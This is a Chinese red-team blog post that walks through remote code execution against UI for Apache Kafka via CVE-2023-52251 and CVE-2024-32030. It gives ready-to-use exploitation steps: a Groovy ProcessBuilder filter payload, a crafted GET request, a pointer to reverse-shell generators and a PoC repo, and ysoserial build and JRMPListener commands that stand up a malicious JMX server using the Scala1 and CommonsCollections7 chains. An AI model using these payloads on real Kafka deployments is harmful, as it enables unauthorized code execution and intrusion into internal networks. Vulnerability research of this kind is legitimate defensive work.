长亭百川云 - 文章详情

UI for Apache Kafka 后台漏洞(红队内网常见漏洞)

z00000

160

2024-06-24

UI for Apache Kafka 后台漏洞(红队内网常见漏洞)

最近测试遇到个apache kafka UI未授权,直接进后台,找了找漏洞看看能不能RCE,毕竟RCE是每个红队人员的梦想。最终找到CVE-2023-52251, CVE-2024-32030这两个漏洞。

测试版本:v0.7.1

CVE-2023-52251

漏洞描述:消息过滤组件(message filtering component)中可以执行任意的groovy
脚本,并且获取到的shell没在沙箱中(unsandboxed)。

影响版本:0.4.0-0.7.1

漏洞具体的代码函数方法:

复现: Kafka UI用户页面,Cluster --> Topics --> Messages,然后创建一个新的过滤器。

new ProcessBuilder("touch","/tmp/pwnd.txt").start()

或者直接发GET请求也可以实现

GET /api/clusters/local/topics/topic/messages?q=new+ProcessBuilder%28%22touch%22%2C%22%2Ftmp%2Fpwnd.txt%22%29.start%28%29&filterQueryType=GROOVY_SCRIPT&attempt=7&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING HTTP/1.1  
Host: 127.0.0.1:8091

反弹shell可以去https://www.revshells.com/ 直接生成groovy payload。

然后你需要发送一条消息到Kafka UI接口,以触发脚本执行。

/api/clusters/local/topics/{topic}/messages?q={payload}

https://github.com/BobTheShoplifter/CVE-2023-52251-POC

CVE-2024-32030

漏洞描述:大部分UI都是未授权进后台,UI API允许用户通过网络地址和端口连接到不通的kafka代理,作为一个单独的特性,它提供了通过kafka代理的JMX端口来监视其性能的功能(这个好像之前kafka的其他应用也存在这个问题),JMX 基于 RMI 协议,所以攻击者可以在后台设置 Kafka UI 连接到恶意的 JMX 服务器,从而进行jndi反序列化RCE利用。

前提: 1、需要dynamic.config.enabled
这个参数为true,默认是不开启的,但是需要教程都是提示你要开启这个参数,包括kafka自己的官方教程。 2、或者!用户管理员对其进行了kafka集群设置。

复现:

git clone https://github.com/artsploit/ysoserial/  
cd ysoserial && git checkout scala1  
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions  
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

jndi就不用多说了,直接ysoserial生成一个载荷。监听在1718端口。

Kafka UI中,导航到控制台,设置一个新的集群(Dashboard->Configure New Cluster ),Bootstrap server设置IP,jmx地址为我们监听的1718端口。

当你添加完这个集群的时候,就可以在ysoserial工具中看到传入一个连接。

这一步的操作不是rce,而且将系统属性进行更改,system property org.apache.commons.collections.enableUnsafeSerialization
 设置为true
,此时你的kafka UI日志会收到这个报错。

java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"

使用cc7链子,生成载荷,执行创建文件的命令。此时看日志,rmi报错,并且执行命令。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备2024055124号-2